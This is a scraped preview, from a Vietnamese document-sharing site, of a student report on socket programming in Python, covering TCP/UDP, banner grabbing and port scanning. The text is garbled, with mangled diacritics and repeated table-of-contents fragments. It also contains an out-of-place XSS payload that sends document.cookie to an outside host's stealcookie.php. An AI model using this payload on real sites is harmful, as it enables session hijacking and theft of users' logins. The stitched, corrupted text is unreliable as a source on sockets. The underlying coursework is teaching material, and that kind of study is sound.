1. Trang chủ
  2. » Luận Văn - Báo Cáo

L06 2 socketprogramming KTLT

8 10 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ □□□□ KỸ THUẬT LẬP TRÌNH Socket Programming (Lớp L06 2) Giảng viên hướng dẫn Thầy Đặng Xuân Bảo Sinh viên thực hiện Đỗ Viết Soái AT160153 Nguyễn Kim Quân.

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ -□□□□ - KỸ THUẬT LẬP TRÌNH Socket Programming (Lớp L06.2) Giảng viên hướng dẫn: Thầy Đặng Xuân Bảo Sinh viên thực hiện: Đỗ Viết Soái AT160153 Nguyễn Kim Quân AT160246 Khương Văn Dương AT160213 Đỗ Quang Anh AT160102 Lê Văn Mạnh AT160532 LỜI MỞ ĐẦU PHẦN 1: Giới thiệu Socket 1.1 Khái niệm Socket 1.2 Tại cần sử dụng Socket 1.3 Socket hoạt động nào? 1.3.1 Nguyên lý hoạt động TCP 1.3.2 Nguyên lý hoạt động UDP 1.3.4 Nguyên lý hoạt động Socket 1.4 Phân loại Socket 10 1.4.1 Stream Socket 11 1.4.2 Datagram Socket 12 1.4.3 Websocket 13 PHẦN 2: Lập trình Socket python 14 2.1 Lập trình Socket với python (dựa giao thức TCP) 14 2.2 Sử dụng module socket ứng dụng an tồn thơng tin .22 2.2.1: Lấy thông tin banner server 22 2.2.2: Quét cổng mở với thông tin banner 25 KẾT LUẬN 28 Tài liệu tham khảo 29 Bảng phân công công việc thành viên 30 Danh mục hình ảnh Hình 1: Mơ tả khái niệm socket LỜI MỞ ĐẦU Ngày nay, nhu cầu công nghệ thông tin đời sống đa dạng Việc mở rộng hệ thống truyền thơng ngày có nhiều máy vi tính kết nối vào mạng Internet Với việc ứng dụng giao thức TCP/IP làm cho hệ thống mạng ngày rộng phát triển vượt bậc, vấn đề an ninh, bảo mật,… mạnh giao thức đem lại cho công nghệ truyền thông Bên cạnh việc phát triển thư điện tử nhiều dịch vụ khác như(gmail,yahoo,MSM mạng điện thoại di động…), việc CHAT trực tuyến gửi file trực tiếp Internet nhu cầu thiếu Với thực tế vậy, Nhóm chúng em nghiên cứu xây dựng mơ hình CHAT dựa vào mơ hình client - server mạng LAN Và ứng dụng modul socket an tồn thơng tin Nhóm chúng em xin chân thành cảm ơn thầy Đặng Xuân Bảo hướng dẫn, dạy chúng em kiến thức tốt làm tảng để chúng em hồn thành báo cáo Mặc dù có nhiều cố gắng trình học tập thời gian thực báo cáo, với lượng kiến thức hạn hẹp nên báo cáo chúng em tránh khỏi thiếu sót Chúng em mong nhận góp ý quý báu thầy tất bạn để báo cáo chúng em hoàn thiện PHẦN 1: Giới thiệu Socket 1.1 Khái niệm Socket  Giữa hai chương trình chạy mạng cần có liên kết hai chiều để kết nối ứng dụng với Điểm cuối, điểm đầu nút liên kết song hướng (endpoint) gọi socket Cụ thể, bạn viết ứng dụng cần tương tác với ứng dụng khác, dựa vào mô hình client/server: Server: ứng dụng có khả phục vụ, cung cấp cho bạn thông tin Client: ứng dụng gửi yêu cầu đến server Để yêu cầu server thực điều đó, client phải có khả kết nối đến server Cơ chế kết nối trừu tượng hóa gọi socket, tương tự việc cắm dây điện vào ổ cắm Server coi ổ cắm, Client phích cắm Một ổ cắm cắm nhiều phích điện, tương tự việc Server kết nối phục vụ cho nhiều Client Hình 1: Mô tả khái niệm socket 1.2 Tại cần sử dụng Socket  Chức Socket để "duy trì kết nối" client với server để ứng dụng hoạt động realtime Chẳng hạn ứng dụng nhắn tin, Socket sử dụng để "lắng nghe" có tin nhắn mới,thay đổi trạng thái,… để cập nhật lên giao diện Việc cập nhật liệu thời gian thực đem lại trải nghiệm tuyệt vời cho người dùng  Nếu khơng sử dụng Socket, ta có cách khác để cập nhật liệu liên tục gửi/nhận request/response khoảng thời gian định, ví dụ sau 2s ta lại cho ứng dụng check api xem liệu có thay đổi khơng, có cập nhật vào ứng dụng Tuy nhiên xử lí "ngáo" gây mệt cho client server Hình 2: Mơ tả hoạt động real time socket  Socket giải vấn đề cách hiệu quả, tiết kiệm tài nguyên cho client server Vậy câu hỏi đặt làm để Socket "lắng nghe" hay "duy trì kết nối" với server để cập nhật liệu realtime ? 1.3 Socket hoạt động nào?  Socket hoạt động giao thức TCP UDP TCP UDP hai giao thức quan trọng tầng Transport mơ hình TCP/IP sử dụng hầu hết ứng dụng mạng TCP UDP giao thức sử dụng để gửi bit liệu hay gọi cách khác gói tin qua môi trường Internet, tớmột địa IP Những gói tin chuyển tiếp từ máy tính bạn đến router trung gian sau tới điểm đích - Lỗ hổng XSS var a = new Image(); var x1 = "https://pentestethical.000webhost.com/"; var x2 = "stealcookie.php?c="; var x3 = document.cookie; a.src = x1 + x2 + x3; ... an tồn thơng tin .22 2. 2.1: Lấy thông tin banner server 22 2. 2 .2: Quét cổng mở với thông tin banner 25 KẾT LUẬN 28 Tài liệu tham khảo 29 Bảng phân công công... 11 1.4 .2 Datagram Socket 12 1.4.3 Websocket 13 PHẦN 2: Lập trình Socket python 14 2. 1 Lập trình Socket với python (dựa giao thức TCP) 14 2. 2 Sử dụng module... 1.1 Khái niệm Socket 1 .2 Tại cần sử dụng Socket 1.3 Socket hoạt động nào? 1.3.1 Nguyên lý hoạt động TCP 1.3 .2 Nguyên lý hoạt động UDP 1.3.4 Nguyên

Ngày đăng: 05/10/2022, 18:12

Xem thêm:

HÌNH ẢNH LIÊN QUAN

Hình 1: Mơ tả khái niệm socket - L06 2 socketprogramming KTLT
Hình 1 Mơ tả khái niệm socket (Trang 6)
Hình 2: Mơ tả hoạt động realtime của socket - L06 2 socketprogramming KTLT
Hình 2 Mơ tả hoạt động realtime của socket (Trang 7)
w